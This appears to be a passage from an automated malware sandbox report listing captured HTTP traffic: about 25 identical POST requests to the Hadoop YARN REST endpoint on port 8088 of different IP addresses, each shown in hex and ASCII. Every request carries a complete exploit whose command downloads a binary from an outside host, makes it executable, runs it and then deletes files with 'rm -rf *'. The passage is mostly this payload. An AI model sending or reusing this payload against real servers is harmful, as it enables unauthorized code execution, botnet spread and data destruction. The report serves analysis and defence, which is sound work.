6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}
Source: global traffic	HTTP traffic detected: POST /ws/v1/cluster/apps HTTP/1.1Host: 142.172.118.111:8088Content-Type: application/jsonContent-Length: 232Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}
Source: global traffic	HTTP traffic detected: POST /ws/v1/cluster/apps HTTP/1.1Host: 204.235.25.185:8088Content-Type: application/jsonContent-Length: 232Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}
Source: global traffic	HTTP traffic detected: POST /ws/v1/cluster/apps HTTP/1.1Host: 254.30.40.98:8088Content-Type: application/jsonContent-Length: 232Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}
Source: global traffic	HTTP traffic detected: POST /ws/v1/cluster/apps HTTP/1.1Host: 112.144.139.77:8088Content-Type: application/jsonContent-Length: 232Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}
Source: global traffic	HTTP traffic detected: POST /ws/v1/cluster/apps HTTP/1.1Host: 94.201.90.86:8088Content-Type: application/jsonContent-Length: 232Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}
Source: global traffic	HTTP traffic detected: POST /ws/v1/cluster/apps HTTP/1.1Host: 94.201.90.86:8088Content-Type: application/jsonContent-Length: 232Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}
Source: global traffic	HTTP traffic detected: POST /ws/v1/cluster/apps HTTP/1.1Host: 94.201.90.86:8088Content-Type: application/jsonContent-Length: 232Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}
Source: global traffic	HTTP traffic detected: POST /ws/v1/cluster/apps HTTP/1.1Host: 94.201.90.86:8088Content-Type: application/jsonContent-Length: 232Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}
Source: global traffic	HTTP traffic detected: POST /ws/v1/cluster/apps HTTP/1.1Host: 94.201.90.86:8088Content-Type: application/jsonContent-Length: 232Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}
Source: global traffic	HTTP traffic detected: POST /ws/v1/cluster/apps HTTP/1.1Host: 31.240.32.116:8088Content-Type: application/jsonContent-Length: 232Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}
Source: global traffic	HTTP traffic detected: POST /ws/v1/cluster/apps HTTP/1.1Host: 31.240.32.116:8088Content-Type: application/jsonContent-Length: 232Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}
Source: global traffic	HTTP traffic detected: POST /ws/v1/cluster/apps HTTP/1.1Host: 31.240.32.116:8088Content-Type: application/jsonContent-Length: 232Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}
Source: global traffic	HTTP traffic detected: POST /ws/v1/cluster/apps HTTP/1.1Host: 204.235.25.185:8088Content-Type: application/jsonContent-Length: 232Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}
Source: global traffic	HTTP traffic detected: POST /ws/v1/cluster/apps HTTP/1.1Host: 31.240.32.116:8088Content-Type: application/jsonContent-Length: 232Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}
Source: global traffic	HTTP traffic detected: POST /ws/v1/cluster/apps HTTP/1.1Host: 31.240.32.116:8088Content-Type: application/jsonContent-Length: 232Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}
Source: global traffic	HTTP traffic detected: POST /ws/v1/cluster/apps HTTP/1.1Host: 254.30.40.98:8088Content-Type: application/jsonContent-Length: 232Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}
Source: global traffic	HTTP traffic detected: POST /ws/v1/cluster/apps HTTP/1.1Host: 31.240.32.116:8088Content-Type: application/jsonContent-Length: 232Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}
Source: global traffic	HTTP traffic detected: POST /ws/v1/cluster/apps HTTP/1.1Host: 31.240.32.116:8088Content-Type: application/jsonContent-Length: 232Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}
Source: global traffic	HTTP traffic detected: POST /ws/v1/cluster/apps HTTP/1.1Host: 22.172.178.76:8088Content-Type: application/jsonContent-Length: 232Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}
Source: global traffic	HTTP traffic detected: POST /ws/v1/cluster/apps HTTP/1.1Host: 22.172.178.76:8088Content-Type: application/jsonContent-Length: 232Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 